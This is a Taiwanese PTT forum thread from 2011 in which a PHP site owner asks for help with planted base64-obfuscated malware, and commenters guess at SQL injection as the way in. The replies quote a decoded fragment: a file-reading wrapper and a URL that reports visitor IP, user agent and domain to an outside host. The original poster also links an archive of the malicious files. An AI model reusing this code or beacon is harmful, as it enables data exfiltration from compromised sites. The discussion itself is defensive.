作者kidbaby (幸福的進行式)
看板PHP
標題Re: [請益] php 網站被植入密文 base64_decode
時間Mon Oct 3 18:25:53 2011
※ 引述《mervynW (.)》之銘言：
: ※ 引述《kidbaby (幸福的進行式)》之銘言：
: : 這陣子感覺網站很慢
: : 研究了一下
: : 發現了 不認識的檔案 .htaccess 聯結了 thumbs.db
: : 裡頭竟然不是我想像中的圖片?
: : 而是base64加密的密文
: 先解到這邊. 建議你. passwd 全換一換吧
: function evaloPoIEXQacJTquN($s) {return @file_get_contents($s);}
: 他老兄要抓你的local file 都沒問題啦.
: DB 應該也被趴走了吧 (茶)
: 要找這種code最快的就是從 eval replace echo.
: cp 2~3次就可以看到他的code了.
: eval 拿掉也沒辦法執行 (茶), 所以變無害的 code
: 解到最後, 這傢伙還沒那麼壞嘛.
: file_get_contents ::
: http://cacacacacacacacacaca.ca/in.php?
: i=CLIENT_IP
: &b=USER_AGENT
: &h=DOMAIN_NAME
: 最終結果是,知道你網站流量,分析你網站值不值的攻擊
太慘了 ...........................
我有些私密的東西放在這個網域裡面的儲存裝置 (不是在這個server) 慘慘慘
我大概說明一下
我的網站是
中華電信 50m/5m
硬體 i5-2400 + ASRock h67m-itx + 4G*2 ddr3 + Intel SSD x25-m G2 34nm 80G.
windows 7 旗艦版 + Appserv v2.5.10 架的
在www目錄下被放置 .htaccess 跟 thumbs.db 兩個檔案 時間是 2011/8/9號上午12:04分
可是我上一次更動上面三個網站的東西 應該都在8/9之前
看樣子不像是掛了什麼模組內藏了這兩個檔案被偷放
所以我完全不了解他什麼時候放的
這台電腦也沒有掛ftp (不過別台有)
他到底是怎麼放的呢....
http://dl.dropbox.com/u/12118398/Thumbs222.zip
我把這兩個檔案放出來 看看有沒有高手能完全解譯他...囧
這下真的囧了.........
真的沒偷抓檔案嗎....@@
還是偷抓我網芳的檔案....? 那我就完了...= ="
--
<囧>" 打擊~
■
ㄥㄥ
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 114.32.247.164
推 LaPass:我也想多知道這些技術..... 知道怎麼運作，才知道怎麼防 10/03 18:37
→ mervynW:主要還是要看他是從那邊進來. 現在只知道 8/9號放上來的 10/03 18:47
→ kidbaby:防毒是mse 10/03 18:47
→ kidbaby: appserv access.log 之前8/4號的被我刪除了...囧 10/03 19:52
推 bojack:Appserv 有移除原本在 www 目錄底下預設的檔案嗎？ 10/03 22:43
→ kidbaby: 那應該是沒問題的 phpmyadmin 跟 appserv 兩個資料夾 10/03 23:04
→ kidbaby: 都還在 10/03 23:05
※ 編輯: kidbaby 來自: 114.32.247.164 (10/04 01:32)
→ arrack:你有裝osc或用fckeditor嗎? 10/04 09:01
推 kusoayan:太可怕了！ 10/04 12:18
推 mervynW:目前不知道走那條路進來的. 但你server被摸透了是確定的 10/04 13:26
→ kidbaby: osc fckeditor 都是第一次聽到...XD 10/04 16:09
→ kidbaby: server 都是24hr不關機的 甚至8/4號至今可能也沒reboot過 10/04 16:10
推 kilfu0701:有看了一下這些網站 "策略○○營"可能有註冊填資料的問 10/04 17:27
→ kilfu0701:題。 帳號/Email/電話 隨便亂打+特殊符號 都可以申請 @@ 10/04 17:28
→ kidbaby: 是阿 會寫入資料庫... 這邊有問題..? 10/04 17:52
推 mervynW:sql injection, 然後再到 mysql insert file? 10/04 20:51
→ kidbaby: sql語法我不熟 打什麼樣的字會有危險勒 我記得有字數限 10/04 23:18
→ kidbaby: 制 所以應該打不了那麼多字才對 10/04 23:19
→ kidbaby: 剛試了 結果是不限字的 XD 10/04 23:45